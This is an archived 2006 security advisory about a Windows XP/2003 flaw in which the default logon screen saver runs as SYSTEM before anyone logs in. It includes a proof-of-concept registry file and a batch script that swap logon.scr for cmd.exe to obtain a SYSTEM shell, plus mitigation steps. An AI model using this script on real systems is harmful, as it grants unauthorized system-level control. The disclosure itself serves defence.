what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

DSSExploit.txt

DSSExploit.txt
Posted May 26, 2006
Authored by Susam Pal | Site susampal.blogspot.com

The default screen saver in Windows XP and Windows 2003 Server runs as a system process. Thus if a malicious person changes logon.scr to cmd.exe or explorer.exe they can take control of the system when the screen saver runs. POC exploit included.

tags | exploit
systems | windows
SHA-256 | 9e05af997c3f8dc90610177e1645b1cbb30384da557ca3ff72d1e3a6861247a5

DSSExploit.txt

Change Mirror Download
-- Advisory Name --
Default Screen Saver Vulnerability in Microsoft Windows

-- Author --
Susam Pal

-- Vulnerable Systems --
Windows XP, Windows 2003 Server

-- Vulnerability Description --
This vulnerability has been tested on Windows XP and Windows 2003 Server. The screen saver in these systems is allowed to run even when a user hasn't logged in. To verify this one has to start windows and wait for the default screen saver to appear without logging in. The screen saver should appear after 10 minutes because that is the default value of screen saver time-out.

Since no user logs in, this screen saver runs as a system process. The registry entries for this screen saver running as a system process can be found in the registry-key, "HKEY_USERS\.DEFAULT\Control Panel\Desktop". The following are the default values.

Windows Registry Editor Version 5.00

[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"ScreenSaverIsSecure"="0"
"ScreenSaveTimeOut"="600"
"ScreenSaveActive"="1"
"SCRNSAVE.EXE"="logon.scr"

It can be seen that the default time-out value is 600 seconds or 10 minutes.

An attacker can replace the default screen saver (logon.scr) with the command prompt (cmd.exe) and reduce the time-out period in a system by using a trojan or some other means. Later, the attacker can boot the system and wait for the screen saver to appear which is now the command prompt. Since the command prompt now runs as a system process, the attacker can perform critical operations including malicious ones. He may even execute "explorer.exe" to bring up the Windows GUI along with the desktop, start button, etc.

-- Exploit Reg File --
Windows Registry Editor Version 5.00

[HKEY_USERS\.DEFAULT\Control Panel\Desktop]
"ScreenSaverIsSecure"="0"
"ScreenSaveTimeOut"="60"
"ScreenSaveActive"="1"
"SCRNSAVE.EXE"="logon.scr"

-- Exploit Script --
@echo off
rem ---------------------------------------------------------------------------
rem FileName: DSSExploit.bat
rem Description: This script replaces the default windows screensaver
rem with command prompt and configures the registry for
rem attack
rem Author: Susam Pal
rem Date: 19th May, 2006
rem ---------------------------------------------------------------------------

rem kill logon.scr if its running
tasklist | find /i "logon.scr"
if %errorlevel% == 1 goto replace
taskkill /f /im "logon.scr"

:replace
rem replace
rename %SystemRoot%\System32\logon.scr logon.scr.bak
copy %ComSpec% %SystemRoot%\System32\logon.scr

rem update the registry keys for default screen saver
set DSSKEY="HKEY_USERS\.DEFAULT\Control Panel\Desktop"
reg add %DSSKEY% /v ScreenSaveActive /t REG_SZ /f /d 1
reg add %DSSKEY% /v ScreenSaverIsSecure /t REG_SZ /f /d 0
reg add %DSSKEY% /v ScreenSaveTimeOut /t REG_SZ /f /d 60
reg add %DSSKEY% /v SCRNSAVE.EXE /t REG_SZ /f /d logon.scr

-- Prevention --
One of the following preventive measures should be taken.

1. The users of the system should not run any program, script or software obtained from unreliable source as an administrator or any user which has the permission to modify the Windows Registry.

2. Disable screen saver by executing the following command.

reg add "HKEY_USERS\.DEFAULT\Control Panel\Desktop" /v ScreenSaveActive /t REG_SZ /f /d 0

Deny everyone all permissions on the registry key, "My Computer\HKEY_USERS\.DEFAULT\Control Panel\Desktop". This will prevent any malicious program, script or software from modifying the default screen saver settings. This can be done by the following steps.

a. Run "regedit.exe".
b. Locate the key, "HKEY_USERS\.DEFAULT\Control Panel\Desktop".
c. Right click on the key and select "Permissions".
d. Press "Add" button.
e. Press "Locations" button.
f. If a login window appears, click "Cancel" button.
g. Select the local computer and press "Ok" button.
h. Enter "Everyone" in the text-area for object names and press "Ok" button.
8. Deny "Full Control" permission for "Everyone" and press "Ok" button.

3. Microsoft should release a patch which prevents the screen saver from running before a user logs in with proper authentication.

-- Disclaimer --
The information, codes and exploits in this advisory should be used for research, experimentation, bug-fixes and patch-releases only. The author shall not be liable in any event of any damages, incidental or consequential, in connection with, or arising out of this advisory.


-- Contact Information --
For more information, please contact:-

Susam Pal
Infosys Technologies Ltd.
Survey No. 210, Manikonda Village
Lingampally, Rangareddy District
Hyderabad, PIN 500019
India
Phone No.: +91-9985259521
Email: susam.pal@gmail.com

http://susampal.blogspot.com/
http://securecoding.blogspot.com/
Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close